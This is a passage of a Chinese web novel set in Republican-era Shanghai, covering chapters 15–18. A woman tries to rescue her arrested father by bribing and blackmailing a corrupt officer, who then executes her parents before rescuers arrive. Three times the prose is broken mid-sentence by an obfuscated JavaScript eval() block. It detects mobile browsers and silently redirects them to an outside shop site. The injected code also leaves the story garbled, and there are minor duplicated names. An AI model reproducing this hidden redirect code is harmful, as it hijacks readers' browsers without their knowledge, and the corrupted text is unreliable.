何思玥看着他专注的侧脸，忽然想起他第一次来林老师家时，那副冒冒失失的样子。那时的他，怎么也想不到会为了一个女子，做到这个地步。 “沈晏，”何荣笙放下刀叉，郑重道，“这些产业转过去，沈家要担的风险不小。万一……” “没有万一。”沈晏抬起头，目光扫过何思玥，“而且，这也不全是为了何家。”他顿了顿，“闸北的纱厂有三百多名女工，南市的货栈养活了数十个家庭。保住这些产业，就是保住这些人的生计。作为商人，我觉得这笔‘投资’很值。” 他说得坦荡，又把一切归为“投资”。但何思玥知道，这已经远远超出了商人的算计。 15. 第 15 章 午饭后，他们继续奔波。一下午时间，办了四处产业的转移手续。每签一份文件，何荣笙的手都在微微颤抖——这些毕竟都是何家几代人的心血。 夕阳西下时，最后一份文件签完。 沈晏将文件仔细收进公文包，对何荣笙说：“伯父，最迟明天，消息就会传开。那些人知道何家的产业已经转到沈氏名下，应该会有所顾忌。” 何荣笙点点头，疲惫地靠在椅背上：“但愿如此。” 车子先送何荣笙回何家。下车时，他握着沈晏的手，良久才说：“沈晏，大恩不言谢。以后若有用得着何家的地方，尽管开口。” “伯父言重了。”沈晏扶他下车，“早些休息，明天我再来。” 何荣笙进屋后，沈晏没有立刻离开。他转向何思玥：“累吗？” “有一点。”何思玥实话实说，“但心里踏实多了。” 暮色渐浓，街灯一盏盏亮起来。两人站在何家门口，影子在灯光下拉得很长。 “思玥，”沈晏忽然说，“有件事，我想告诉你。” “你说。” 他从公文包里取出一个信封：“今天办手续时，我顺便查了查那些老学究的底细。”他抽出几张纸，“他们背后，确实有军政府的人。但不是刘参谋长，而是他的副官——一个姓赵的，据说很贪。” 何思玥接过那些资料。 上面详细列着赵副官的背景、关系网，甚至有几笔来路不明的财产记录。 “你怎么拿到这些的？” “商人嘛，总要有些门路。”沈晏说得轻描淡写，“而且，贪的人，最好对付。因为他有弱点。” 他说这话时，镜片后的眼睛里闪过一丝锐利的光——那是商人在谈判桌上才会有的神情。 “你想怎么做？” “以其人之道还治其人之身。”沈晏将资料收回信封，“他们不是要查何家的财产吗？那我们也查查他们的。看看谁经得起查。” 这话说得平静，但何思玥听出了其中的分量。她知道，沈晏这是要正式出手了——不是以追求者的身份，而是以商人的手段。 “会不会有危险？”她忍不住问。 “不会。”沈晏笑了，“我做生意这些年，最擅长的就是在规则里玩游戏。他们既然要用官场的手段，那我就用商场的手段陪他们玩。” 他说着，从西装内袋取出一个小盒子：“这个，给你。” 又是礼物。何思玥打开，里面是一枚小小的徽章——紫藤花的造型，和胸针一样，但更小巧，可以别在衣襟内侧。 “这是……” “沈氏商行的特别顾问徽章。”沈晏说，“从今天起，你就是沈氏的特别顾问了。这样，你进出沈氏名下的产业，会方便很多。万一……万一有事，也可以凭这个直接找我的人。” 他说得周全，把一切都考虑到了。 何思玥握着徽章，感觉那小小的金属物体，比任何贵重礼物都更让她心动。 “沈晏，”她抬起头，“你为什么……要为我做这么多？” 这个问题她问过很多次，但每次，她都想知道新的答案。 暮色里，沈晏看着她。街灯的光在他脸上投下温柔的阴影，让他的眉眼看起来格外柔和。 “因为，”他轻声说，“在我这个商人眼里，你是最值得的‘长期投资’。不仅现在值得，将来更值得。” 他顿了顿，补充道：“而且，投资绿洲，不就是为了让它长得更好，荫蔽更多人吗？” 这话说得既像商人，又不像商人。何思玥笑了，眼角有些湿润。 “谢谢你。”她说。 “不用谢。”沈晏为她拉开车门，“这是我自愿的。” 车子开走了。何思玥站在门口，看着尾灯的红光消失在街角。她握紧手中的徽章，金属的棱角硌着掌心，微微地疼，却也让她清醒。 她知道，风波还未过去。但至少，她不是一个人面对。 而那个总是精于算计的商人，用他最擅长的方式，为她筑起了一道墙——不是华丽的宫殿，是坚实的、能遮风挡雨的墙。 晚风吹过，带来远处江面的潮气。何思玥抬头，看见夜空中已有星子闪烁。 ...... 管家冲进私塾庭院时，何思玥正在教学生们临摹宋人的花鸟画。 “小姐！”老管家的声音带着罕见的惊慌，平日里梳得一丝不苟的发髻散了几缕，额头上全是汗，“老爷……老爷被军政府的人带走了！” 何思玥手中的毛笔“啪”地掉在宣纸上，墨汁迅速洇开，染黑了画了一半的喜鹊。学生们都停下了笔，惊恐地看着她。 “什么时候的事？”她的声音出乎意料的平静，只有微微颤抖的指尖暴露了内心的惊涛骇浪。 “就刚才！来了两辆车，十几个兵，说老爷涉嫌‘通敌资匪’，要带去问话……”管家喘着气，“夫人让我赶紧来告诉您。” 教室里一片死寂。 周晓芸第一个站起来：“老师，我陪您去！” “我也去！”“还有我！”女孩们纷纷起身。 何思玥看着这些年轻的脸庞，深吸一口气：“你们都留在这里，继续上课。”她转身对陈校长说，“校长，麻烦您照看一下。” “思玥，你……”陈校长握住她的手，满眼担忧。 “我没事。”何思玥抽出被握住的手，声音依旧平稳，“晓芸，去我办公室，把我抽屉里那个深蓝色锦囊拿来。” 周晓芸飞快地跑出去，又飞快地跑回来，手里拿着沈晏给的那个锦囊——里面是法租界公寓的钥匙和地址。 何思玥接过锦囊，又取下衣襟内侧那枚紫藤徽章，一起握在手里。金属的棱角硌着掌心，带来一种奇异的镇定感。 “管家，我们去沈氏商行。” 沈氏商行坐落在外滩最繁华的地段。 何思玥坐着黄包车赶到时，已是满头大汗。她顾不上仪态，提着旗袍下摆冲上台阶。 柜台后的伙计认得她，连忙迎上来：“何小姐，您……” “我找沈晏。”何思玥声音急促，“他在吗？” 伙计面露难色：“沈先生……沈先生昨天下午去南京了。说是有一笔重要的铁路债券要谈，最快也要三天后才能回来。” 何思玥只觉得一阵天旋地转。她扶住柜台，指节因为用力而发白。 “南京……有没有办法联系上他？” “有紧急电报，但沈先生今天在火车上，明天才能到南京……”伙计看出她神色不对，“何小姐，出什么事了？” 何思玥摇摇头，转身往外走。 阳光明晃晃的，照得她眼前发黑。沈晏不在——这个认知像一盆冷水，浇得她浑身冰凉。 她站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978440|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外滩的街边，看着黄浦江上来往的船只，看着对岸浦东的农田，看着这个繁华又冷漠的城市。 父亲被带走了，沈晏出差了，而她，不知道该往哪里去。 “何老师？” 一个熟悉的声音从身后传来。何思玥回头，看见赵家二公子——沈晏那个在汇丰银行做事的朋友，正从一辆汽车上下来。 “赵公子……”她像抓住救命稻草，“我父亲……我父亲被军政府带走了。沈晏去了南京，我……” “我知道。”赵公子神情严肃，压低声音，“上车说。” 汽车里开着冷气，与外面的炎热形成鲜明对比。赵公子递给她一杯水：“沈晏走之前找过我。他说，如果他不在的时候何家出事，让我务必帮忙。” 何思玥握着水杯，手指还在发抖：“他……他知道会出事？” “他一直知道。”赵公子叹了口气，“那些老学究背后的人，动作比他预想的快。沈晏去南京，不只是谈生意，也是去找人——他在军政界有些关系，想从上面疏通。” 他顿了顿，从公文包里取出一个信封：“这是他留给我的。说如果何家出事，就把这个给你。” 何思玥接过信封，里面是一张纸条和另一把钥匙。纸条上是沈晏熟悉的字迹： “思玥，见字如晤。若事急，可凭此钥匙去霞飞路723号，找一位姓杨的先生。他是我在英国的同学，现在在领事馆做事，能帮上忙。勿慌，等我回来。——沈晏” 字迹工整，但最后几个字写得有些匆忙，墨迹微微晕开。何思玥可以想象，他是在怎样的紧迫中写下这封信的。 “他现在到哪里了？”她问。 “应该刚到苏州。”赵公子看了看怀表，“我已经给他发了加急电报，但火车上收不到。最快也要明天中午他到了南京，才能知道消息。” 霞飞路723号是一栋精致的法式小楼。爬墙虎覆盖了半面墙壁，窗口摆着天竺葵，开得正艳。 何思玥按响门铃。片刻后，一个穿着衬衫西裤的年轻男人来开门。他约莫三十岁，戴着一副圆框眼镜，气质儒雅。 “请问是杨石泽先生吗？”何思玥问。 男人打量她一眼，目光落在她手中的钥匙上：“你是……何思玥小姐？” “您认识我？” “沈晏昨天打过电话。”杨石泽侧身让她进来，“他说如果有一位姓何的小姐来找我，务必帮忙。请进。” 客厅里布置得中西合璧。红木家具配上波斯地毯，墙上挂着西洋油画，博古架上却摆着青花瓷。杨石泽请她坐下，亲自沏了茶。 “何小姐，事情我已经听说了。”他开门见山，“令尊的事，确实麻烦。带走他的是军政府稽查处的赵副官，这个人……名声很不好。” “有办法吗？”何思玥问。 杨石泽推了推眼镜：“有，但需要时间。赵副官贪财，这是他的弱点。我已经让人去查他最近的账目，只要找到破绽，就有谈判的筹码。” 他说得很平静，仿佛在说一件再平常不过的事。 何思玥看着他，忽然想起沈晏——他们说话的方式很像，都是那种举重若轻的语气。 “杨先生为什么愿意帮我？” 何思玥知道‘通敌资匪’这个罪名可大可小，旁人避之而不及，杨石泽仅凭沈晏的一封信却愿意帮忙，确实让人有一些不解。 16. 第 16 章 “两个原因。”杨石泽微笑，“第一，沈晏是我最好的朋友。他托付的事，我一定会办。第二，”他顿了顿，“我妹妹也在女子私塾读书。她回家常说，何老师教她们看见了更大的世界。就冲这一点，我也该帮你。” 何思玥愣住了：“您妹妹是……” “杨婉如。在乙班。” 何思玥想起来了。那是个文静的女孩，总是坐在角落，但画得一手好工笔。 “世界真小。”她轻声说。 “是啊。”杨石泽点点头，“所以何小姐不必客气。令尊的事，我会尽力。但在沈晏回来之前，有件事你必须答应我。” “什么？” “留在法租界，不要回去。”杨石泽神情严肃，“赵副官的人可能还在盯着何家。你回去不安全。我这里有空房间，你可以先住下。” 何思玥沉默片刻，摇了摇头：“谢谢杨先生好意。但我不能躲在这里。私塾还有学生，家里还有母亲和弟弟妹妹……” “何小姐。”杨石泽打断她，“你知道沈晏为什么特意给我打电话吗？他就是担心你会不顾一切地回去。他说，你太要强，遇到事总想自己扛。”他顿了顿，“但这次不一样。对方是拿枪的，你一个女子，怎么扛？” 这话说得直接，却让何思玥无法反驳。她握着茶杯，指尖因为用力而泛白。 窗外传来电车的叮当声，还有小贩的叫卖。 法租界的午后，平静得像什么都没发生。但一江之隔的华界，父亲正不知在何处受苦。 “我……”她的声音有些哽咽，“我不能什么都不做。” “你没有什么都不做。”杨石泽放柔了语气，“你留在这里，就是最大的帮助。因为你安全，我们才能放手去做。如果你出事，沈晏回来，我怎么交代？” 他说着，从书桌抽屉里取出一个信封：“这是沈晏留给你的第二封信。他说，如果你坚持要回去，就把这个给你看。” 何思玥接过信封，手指微微颤抖。她拆开信，沈沈晏的字迹映入眼帘： “思玥，若你看到这封信，说明你又不听话了。我知道你担心伯父，但请相信我，也相信石泽。留在安全的地方，就是对我们最大的帮助。记得我说过的话吗？‘投资绿洲，是为了让它长得更好’。你现在要做的，就是好好生长，等我来浇水。——沈晏” 信的最后，画了一个小小的算盘，旁边写了一行小字：“这笔账，等我回来再跟你算。” 何思玥的眼泪终于掉下来，一滴，两滴，落在信纸上，洇开了墨迹。她捂住脸，肩膀微微颤抖。 杨石泽没有说话，只是递给她一块手帕。 许久，何思玥抬起头，擦干眼泪。她将信仔细折好，放回信封，然后看向杨石泽：“杨先生，我答应您，留在法租界。但请您答应我一件事。” “你说。” “每天让我知道事情的进展。”何思玥的声音已经恢复了平静，“我不能躲在后面，什么都不知道。” 杨石泽看着她通红的眼睛，那里面有一种坚韧的光。他点点头：“好，我答应你。” 黄昏时分，杨石泽安排车送何思玥去他另一处公寓。 车子驶过霞飞路，梧桐树的影子在车窗上流淌。何思玥看着窗外，忽然想起沈沈晏说，他在沙漠里走了太久，而她是他唯一的绿洲。 现在，绿洲遇到了风沙。 但她知道，那个说会一直浇水的人，正在赶回来的路上。 何思玥呆在公寓里坐立难安，实在没有办法安心地继续呆在这里，刚准备下楼，杨石泽赶了过来。 “杨先生，这件事是不是相当的棘手？”何思玥看到杨石泽眉头紧锁，就知道这件事没有想象中那么简单。 “对，这件事发展得如此迅速，像是计划了很久，你家被军政府的人都封起来，抄没了所有的家产，全部充公，家里的人也都被抓起来了。” 何思玥踉跄地往后退了退，“那他们怎么没有把我抓进去？” 杨石泽扶住她摇摇欲坠的身子，声音压得很低：“因为有人在保你。沈沈晏临走前，打点了军政府里几个关键人物。现在所有人都知道，你是沈家大少爷要保的人，他们不敢轻易动。” 何思玥靠在冰冷的墙壁上，墙壁的凉意透过薄薄的旗袍渗进来。她闭上眼睛，眼前闪过父亲书房被砸的场景，闪过母亲晕倒的画面，闪过弟妹惊恐的眼神。 “全部充公……”她喃喃重复，“连祖宅都……” “是。”杨石泽的声音里带着不忍，“但何小姐，现在不是难过的时候。对方动作这么快，这么狠，显然是蓄谋已久。我们必须立刻反击，否则……” “否则什么？” 杨石泽沉默片刻，从公文包里取出一份文件：“我查到一些东西。那个赵副官，半年前在闸北悄悄买了两处宅子，用的是他小舅子的名字。而这两处宅子的钱，来自一家叫‘荣昌号’的商行。” 他将文件展开，上面是复杂的资金流向图：“荣昌号的老板，姓陈，是教育局陈副局长的堂弟。而这个陈副局长，正是之前反对女子私塾最积极的人之一。” 线索像一张网，在何思玥眼前缓缓展开。她看着那些陌生的名字、复杂的关联，忽然明白了——这不是一时兴起，这是一场精心策划的围猎。 “他们要的不仅是何家的财产，”她轻声说，“还要彻底打垮女子私塾，打垮所有想走新路的人。” “对。”杨石泽点头，“所以何小姐，你现在不能出去。他们没抓你，是因为忌惮沈家。但如果你主动露面，给了他们借口……” “那这件事就没有办法了吗？” “有办法，赵副官贪财，或许他是一个切入口。” “那我去和他谈，我想应该没人对我家存在汇丰银行的钱财不感兴趣吧？” 杨石泽猛地抬头，镜片后的眼睛瞪大：“何小姐，你疯了？那是虎口！赵副官那种人，吃人不吐骨头的！” “我知道。”何思玥的声音出乎意料地平静。她走到窗边，看着楼下那几辆监视的汽车，梧桐树的影子在车顶上摇晃。“但老虎再凶，也要吃饭。而我家存在汇丰银行的那笔钱，足够喂饱一只饿虎。” 她从旗袍内袋取出一个小本子——是父亲给她的，上面记着何家在国内外几个银行的账户和密码。其中汇丰银行那一页，数字后面的零多得让人眼花。 “这笔钱，他们还没查到。”何思玥转过身，眼神里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978441|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有种破釜沉舟的决绝，“因为是用我的名字开的户，在法租界的分行。军政府的手，伸不到那里。” 杨石泽接过本子，手指微微发抖：“这可是……这可是何家最后的家底了！” “家底没了可以再挣。”何思玥说，“人没了，就什么都没了。”她顿了顿，“而且，这未必是给钱，只是……谈判的筹码。” 窗外传来卖花姑娘的声音：“栀子花——白兰花——”清脆悠扬，与此刻室内的紧张气氛格格不入。 杨石泽一直沉默地听着，这时才开口：“何小姐，你想怎么做？” “我要见赵副官。”何思玥说得清晰，“以何家唯一能做主的人的身份，和他谈条件。我父亲年纪大了，经不起折腾。只要他能平安回来，钱，我可以给。” “你给了他钱，他也不会放过何家。”杨石泽急道，“这种人贪得无厌，只会得寸进尺！” “所以不能只给钱。”何思玥走到书桌前，拿起杨石泽给的那份证据——赵副官□□的银行单据，“钱要给，但这些……也要让他知道，我们手里有。” 她抬起头，目光扫过两人：“我要让他明白，这不仅是交易，更是相互制衡。他拿了钱，放了我父亲，我们相安无事。他若耍花样，这些证据就会送到该送的地方。” 这计划太大胆，也太危险，等于在与虎谋皮。杨石泽还想劝阻，但看着何思玥坚定的眼神，便放弃了。 “何小姐，”杨石泽看着她，眼神复杂，“你知道这么做的风险吗？赵副官可能当场翻脸，把你一起抓走。也可能假意答应，背后再捅一刀。” “我知道。”何思玥点头，“但这是目前最快、最直接的办法。等沈沈晏回来，也许有更好的方案，但我父亲等不起。稽查处的刑讯室是什么地方，你们比我清楚。” 这话让两个男人都沉默了。他们都知道，白荣笙那种养尊处优的老爷，在那种地方待上一天，半条命就没了。 良久，杨石泽长长叹了口气：“如果沈晏知道我让你去冒这个险，他会杀了我。” “那就别告诉他。”何思玥说，“等事情办成了再说。” 她走到镜前，理了理旗袍的领子，重新别好那枚紫藤胸针。镜中的女子脸色苍白，但眼神清明，脊背挺直。 “杨先生，能帮我联系赵副官吗？”她问，“就说，何家小姐想和他谈一笔生意。关于钱，很多钱。” 杨石泽看着她，终于点头：“好，我来安排。但有两个条件。” “您说。” “第一，见面必须在法租界，在我的视线范围内。第二，”他从抽屉里取出一个更小的手枪，只有掌心大小，“这个你贴身带着。万一……万一有事，能防身。” 何思玥接过枪。这次她没有犹豫，撩开旗袍下摆，将枪别在袜带内侧。冰冷的金属贴着肌肤，让她打了个寒颤，却也让她更加清醒。 “什么时候能安排？”她问。 “最快今天晚上。”杨石泽看了看怀表，“赵副官贪财，听到‘很多钱’，一定会心动。” 事情就这样定了下来。杨石泽去汇丰银行准备文件，杨石泽去打电话安排。何思玥一个人留在客厅里，坐在沙发上，看着窗外的梧桐树。 17. 第 17 章 阳光透过枝叶洒进来，在地板上投下晃动的光斑。 她想起小时候，父亲总爱在夏天的午后，抱着她在槐树下乘凉。他会指着树上的鸟窝说：“思玥你看，小鸟长大了，总要飞走的。但不管飞多远，这里永远是家。” 现在，家没了。 但她要让父亲回来。要让这个家，重新有温度。 她握紧拳头，指甲深深陷进掌心。疼痛让她保持清醒。 傍晚时分，杨石泽回来了。 “安排好了。”他说，“今晚八点，霞飞路上的‘白俄咖啡馆’。赵副官会以‘私人身份’过来。我包了二楼整个雅间，侍应生都是我的人。” 何思玥点点头：“谢谢您。” “不要说谢。”杨石泽神情严肃，“何小姐，我再问一次，你真的想好了？现在反悔还来得及。” “我想好了，哪怕血本无归，哪怕只有一丝的机会，我也要去救我的父亲。”何思玥站起身，“我换件衣服就出发。” 她走进卧室，打开衣柜。 里面挂着几件杨石泽准备的旗袍，都是素雅的颜色。她选了件墨绿色的——颜色深，不显眼，万一……万一沾上什么，也看不出来。 换好衣服，她重新别好胸针，检查了袜带里的枪。镜中的女子，眉眼间有种孤注一掷的坚毅。 走出卧室时，杨石泽和杨石泽都在等她。杨石泽递给她一个公文包：“里面是银行文件的副本，还有……一份遗嘱。” 何思玥愣了愣。 “以防万一。”杨石泽声音低沉，“如果你出事，这些文件会证明，何家的财产早已合法转移。他们吞不下去的。” 何思玥接过公文包，感觉很沉。不是文件的重量，是责任的重量。 “我们走吧。”她说。 车子驶过霞飞路。华灯初上，法租界的夜生活刚刚开始。 咖啡馆、西餐厅、舞厅的霓虹灯闪烁，穿着时髦的男女在街头漫步。这一切繁华，与何思玥此刻的心境，像两个世界。 白俄咖啡馆到了。杨石泽先下车，环视四周，才为何思玥拉开车门。 “二楼最里面的雅间。”他低声说，“我在楼下等着。有事就摔杯子——这是暗号。” 何思玥点点头，深吸一口气，走上咖啡馆的木质楼梯。 二楼很安静，铺着厚厚的地毯，踩上去没有声音。她走到最里面的雅间门前，停下脚步，整理了一下衣襟，然后推门进去。 雅间里只点着一盏壁灯，光线昏暗。窗边的桌旁坐着一个穿便装的中年男人——瘦高，鹰钩鼻，眼神锐利。正是白天那个王队长口中的“赵副官”。 他看见何思玥，嘴角勾起一丝意味不明的笑：“何小姐，久仰。” “赵副官。”何思玥微微颔首，在他对面坐下。 侍应生上来两杯咖啡，然后悄无声息地退出去，关上了门。 房间里只剩下他们两人。咖啡的香气在空气中弥漫，却掩盖不住那种无形的紧张。 赵副官端起咖啡杯，慢慢搅动着：“何小姐说要和我谈生意？” “是。”何思玥打开公文包，取出一份文件，推到他面前，“汇丰银行，八十万大洋。只要我父亲平安回家，这笔钱，就是您的。” 赵副官的手顿了顿。他放下咖啡杯，拿起文件，借着昏暗的灯光仔细看。当他看到那个数字时，瞳孔明显收缩了一下。 八十万。在这个一块大洋能买三十斤大米的年代，这是一笔天文数字。 “何小姐好大手笔。”他将文件放下，靠回椅背，“但我怎么知道，这不是空头支票？” “明天早上九点，汇丰银行开门。”何思玥说，“您可以派人跟我一起去，亲眼看着这笔钱转到您指定的账户。” 赵副官盯着她，目光像刀子一样锋利：“何小姐，你父亲犯的可是‘通敌’的大罪。这点钱，恐怕……” “不止钱。”何思玥打断他，又从公文包里取出另一个信封，“还有这个。”她将信封推过去。 赵副官打开，只看了第一眼，脸色就变了——那是他□□的银行单据复印件。 “何小姐这是什么意思？”他的声音冷了下来。 “没什么意思。”何思玥迎上他的目光，“只是想告诉赵副官，这世上的事，都是相互的。您拿钱，放人，我们各自安好。您若觉得不够……”她顿了顿，“那这些东西，明天就会出现在刘参谋长的办公桌上。当然，也可能出现在南京方面的案头。” 她说得很平静，但每个字都像钉子，钉进赵副官的心里。 房间里死一般的寂静。壁灯的光在两人脸上投下晃动的阴影。 窗外传来电车驶过的声音，叮叮当当，遥远得像另一个世界。 良久，赵副官笑了。那笑容很冷，像冬天的风。 “何小姐，你比你父亲有胆识。”他说，“但我怎么知道，我放了人，你不会反手就把这些证据交出去？” “因为我也要活。”何思玥说，“我父亲回来了，我们一家还要在上海生活。得罪了您，对我们没好处。” 她说得很真诚——至少听起来很真诚。赵副官看着她，手指在桌面上轻轻敲打，像在计算得失。 八十万大洋，够他花几辈子了。而那个□□的证据，足够要他的命。 这笔账，怎么算都划算。 “好。”他终于开口，“明天早上九点，汇丰银行。钱到账，我放人。” 何思玥的心跳漏了一拍，但她面上依然平静：“我要先见到我父亲。” “可以。”赵副官站起身，“明天八点，稽查处门口。你可以见他一面，确认他平安。然后我们去银行，办手续，放人。” 他走到门口，又回过头：“何小姐，希望我们合作愉快。不要耍花样——你全家人的命，都捏在你手里。” 说完，他推门出去了。 脚步声消失在楼梯尽头。何思玥坐在原地，一动不动。直到杨石泽推门进来，她才像突然卸了力，整个人瘫在椅子上。 “怎么样？”杨石泽急问。 “他答应了。”何思玥的声音有些发虚，“明天早上八点，在稽查处门口见父亲。九点，去银行转账。” 杨石泽松了口气，但眉头依然紧锁：“他这么爽快，会不会有诈？” “不知道。”何思玥摇头，“但这是目前唯一的路。” 她站起身，腿有些发软。杨石泽扶住她：“我送你回去休息。明天……我陪你去。” “不。”何思玥摇头，“您不能去。您是领事馆的人，出面不合适。而且……万一出事，不能把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978442|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您也拖下水。” “可是……” “杨先生。”何思玥看着他，眼神恳切，“您已经帮了我很多。剩下的路，让我自己走。” 杨石泽沉默良久，终于点头：“好。但你要答应我，一旦情况不对，立刻开枪。不要犹豫。” “我答应。” 两人下楼，坐进车里。 夜色已深，霞飞路的霓虹灯在车窗上流淌，像一条彩色的河。 何思玥靠在座椅上，闭上眼睛。掌心全是汗，握着的那枚紫藤徽章，已经被焐得温热。 第二天清晨，何思玥起得很早。 她换上那件墨绿色旗袍，仔细别好紫藤胸针，将手枪重新检查了一遍，藏在袜带内侧。镜中的女子脸色苍白，但眼神清明得可怕。 七点半，她准时出现在稽查处门口。灰色的水泥建筑在晨光里显得冰冷肃杀，门口站着持枪的卫兵，眼神像钉子一样钉在她身上。 赵副官已经等在门口，今天他穿了军装，肩上缀着少校的军衔。看见何思玥，他嘴角扯出一个笑：“何小姐很准时。” “我父亲呢？”何思玥单刀直入。 赵副官挥挥手。两个士兵押着一个人从门里出来——是何荣笙。 才几天不见，他仿佛老了十岁，头发全白了，脸上有伤，走路踉跄，但眼神依然清醒。 “爹！”何思玥要冲过去，被赵副官拦住。 “何小姐，”他慢条斯理地说，“人你看见了，还活着。现在，该去银行了。” 何思玥看着父亲。何荣笙也看着她，眼神里满是担忧和阻止。他嘴唇动了动，无声地说：“别管我，走。” 但何思玥摇了摇头。她从包里取出那份银行文件，对赵副官说：“钱在汇丰银行法租界分行。现在去，九点开门，立刻转账。” “很好。”赵副官满意地点头，“不过，何小姐得把那份‘多余’的东西先给我。” 他指的是□□的证据。何思玥早有准备，从包里取出另一个信封——里面只有复印件，原件她早已让杨石泽另藏他处。 “都在这里。”她说。 赵副官接过，抽出文件看了看，确认是原件（他以为的），这才挥挥手：“带走。” 两个士兵押着何荣笙上了一辆军车。赵副官对何思玥做了个“请”的手势：“何小姐，坐我的车。” 车子驶向法租界。晨光越来越亮，街道渐渐热闹起来。卖早点的摊子冒着热气，报童在街上奔跑，一切都和往常一样。 但何思玥知道，今天之后，一切都将不同。 汇丰银行门口，经理已经在等候。看见何思玥和赵副官一起出现，他眼中闪过一丝讶异，但很快恢复职业性的微笑。 “何小姐，赵先生，里面请。” 手续办得很顺利。八十万大洋，从何思玥的账户转到赵副官指定的海外账户。银行经理的手指在算盘上飞舞，打出清脆的声响。每一声，都像在何思玥心上敲打。 一个小时后，手续办完。赵副官拿着转账凭证，脸上终于露出真正的笑容。 “何小姐爽快。”他说，“现在，该我履行承诺了。” 他带着何思玥走出银行，坐上车。车子没有回稽查处，而是开往郊外。 “去哪儿？”何思玥警觉地问。 18. 第 18 章 “放人啊。”赵副官说得轻松，“你父亲已经在路上了。我们直接去接他，然后送你们回家。” 这话说得天衣无缝，但何思玥心里却越来越不安。她握紧袖中的手枪——杨石泽给的，只有掌心大小，但关键时刻能救命。 车子驶出城区，开上一条偏僻的土路。两旁是荒芜的农田，远处有几处废弃的厂房。 终于，车子在一片空地上停下。空地中央，停着一辆军车，正是早上押送何荣笙的那辆。 “我父亲呢？”何思玥问。 赵副官没有回答，径自下车。何思玥跟着下来，看见军车旁站着几个士兵，但没有何荣笙的身影。 “赵副官，你……” 话没说完，军车的后门打开了。两个士兵拖出一个人——不，是两个人。 何思玥的呼吸停止了。 那是她的父母。何荣笙和她的夫人，被绑在一起，嘴上封着布条。他们看见何思玥，眼睛里迸发出惊恐的光芒，拼命摇头。 “你……”何思玥的声音在颤抖，“你答应过……” “我答应过放人。”赵副官打断她，慢条斯理地点了一支烟，“但我没说，放的是活人。” 他吐出一口烟圈，烟雾在晨光里缓缓上升：“何小姐，你以为我真会放虎归山？你们手里有我的把柄，我怎么可能让你们活着离开上海？” 何思玥后退一步，手摸向腰间。 “别动。”赵副官抬起手，他身后的士兵齐刷刷举起枪，“我知道你带了枪。但你觉得，快得过这么多支枪吗？” 他走到何思玥面前，低头看着她：“其实我很欣赏你。一个女人，有胆识，有手段。可惜，你站错了队。” “你要多少钱都可以！”何思玥的声音带着哭腔，“我可以把何家所有的钱都给你！只要你放了我父母！” “钱？”赵副官笑了，“八十万已经够了。而且，何小姐，有些事不是钱能解决的。你父亲知道得太多，你……也知道得太多。” 他转身，对士兵挥挥手：“送何老爷和何太太上路。” “不——！” 何思玥扑过去，但被两个士兵死死按住。 她眼睁睁看着，看着士兵举起枪，看着父母眼中的泪水，看着他们最后望向她的眼神——那眼神里有不舍，有心疼，有让她快跑的无声呐喊。 枪声响起。 两声。 在空旷的野地里，显得格外刺耳。 何思玥的尖叫卡在喉咙里。她看着父母的身体软软倒下，看着血染红了他们身下的土地，看着晨光里那些刺目的红。 世界在一瞬间失去了声音，失去了颜色。只有那抹红，铺天盖地的红。 赵副官走到她面前，蹲下身，捏住她的下巴：“现在轮到你了，何小姐。不过别担心，我不会让你死得太痛快。你这么漂亮，这么聪明，死了多可惜？” 他的手指划过她的脸颊，带着烟味和血腥味：“我会把你关起来，慢慢玩。等你玩够了，再送你去见你父母。” 何思玥看着他，眼神空洞。然后，她突然笑了。 那笑容很轻，很冷，像寒冬里最后一片冰花。 车轮碾过土路的碎石，发出刺耳的声响。三辆黑色汽车如利箭般射入空地，急刹时扬起漫天尘土。 第一辆车的车门猛地推开，杨石泽率先冲下来。 他今日没穿律师袍，而是一身利落的深色劲装，手里握着一把驳壳枪。眼镜后的眼睛，此刻锐利如鹰。 他带来的不是巡捕，是十几个穿短打、眼神精悍的汉子——是上海滩有名的“杨氏镖局”的人，平日里押送贵重货物，个个身手了得。 “赵副官！”杨石泽声音冷硬，“放人。” 赵副官脸色铁青，但依然强作镇定：“杨律师，这是军务。你一个律师，带些江湖人士，想造反吗？” “造反？”杨石泽笑了，笑容里没有温度，“赵副官，你看看这个。” 他扔过去一份文件。赵副官接住，只扫了一眼，手就开始发抖——那是他这些年所有贪赃枉法的证据，比何思玥手里的那份详细十倍不止。每一笔款项，每一次交易，时间、地点、经手人，清清楚楚。 “你……你怎么……” “我怎么知道？”杨石泽打断他，“赵副官，你以为只有你会查人？从你动何家开始，沈晏就着手开始调查你的事情了。这些，是他临走前交给我的。他说，万一何小姐出事，就把这些公之于众。” 